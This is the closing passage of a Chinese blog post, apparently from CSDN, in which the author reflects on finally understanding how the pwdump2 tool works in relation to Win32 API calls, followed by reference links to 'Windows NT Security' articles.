中的Win32 API这三者之间找到必然联系。

有个较深的感受,有些东西之间看似没有联系,实际却殊途同归。很早以前就想看看
pwdump2的实现机理,一直觉得它是横空出世的,没有来历,很茫然。搞不清为什么
要GetProcAddress获取那些引出函数地址。没想到在网络通信解码过程中豁然开朗。
看样子以后正门搞不定了,就扔到一边,说不定哪天发现到处是侧门。

☆ 参考资源

[ 2] Windows NT Security, Part 1
     http://www.winntmag.com/Articles/Print.cfm?ArticleID=3143

     Windows NT Security, Part 2
     http://www.winntmag.com/Articles/Print.cfm?ArticleID=3492 
0
0

查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    个人资料
    • 访问:3774404次
    • 积分:60997
    • 等级:
    • 排名:第42名
    • 原创:1549篇
    • 转载:1252篇
    • 译文:0篇
    • 评论:459条
    最新评论